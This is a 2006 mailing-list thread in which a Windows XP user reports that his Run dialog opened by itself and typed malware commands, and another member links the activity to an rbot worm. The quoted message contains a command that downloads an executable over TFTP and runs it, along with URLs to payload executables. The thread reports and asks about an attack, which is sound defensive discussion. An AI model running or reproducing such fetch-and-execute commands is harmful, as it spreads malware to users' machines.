Sounds like: http://www.avira.com/en/threats/section/fulldetails/id_vir/1496/worm_rbot.aeu.79.html BTW, tried the IRC server, it's down. Sounds like an old botnet. I've also stumbled across (and misplaced) a website that claimed it could come from using a web browser that supports VBS. Regards & good luck, Peter On 05/10/06, Carey Fisher - NCS wrote: > Today, as I was sitting at my WINXP machine working, the START/Run window popped open and some unknown force typed the following: > > http://homepage.my-place.us/system.exe > > Well, I immediately disabled the network connection and I don't think this program was executed. > > Then I scrolled through the Run window and found the following 3 lines: > > cmd /c tftp -i 10.0.6.28 GET wfudpgemr.exe &wfudpgemr.exe &exit > http://kruma.us/vn.exe > %SYSTEMROOT%\SYSTEM32\CMD.EXE > > This really surprised me since I've taken a lot of measures to secure my system including a program that won't let new programs run without my permission. This is why the first one didn't run. I also run antivirus, I monitor the router/firewall with Wallwatcher, and I block all inbound ports except a couple (Skype, FreeVNC). > > Anybody know anything about any of these apparent attacks. Any suggestions to prevent this particular exploit (START/Run)? > > Thanks, > Carey > -- > http://www.piclist.com PIC/SX FAQ & list archive > View/change your membership options at > http://mailman.mit.edu/mailman/listinfo/piclist > -- http://www.piclist.com PIC/SX FAQ & list archive View/change your membership options at http://mailman.mit.edu/mailman/listinfo/piclist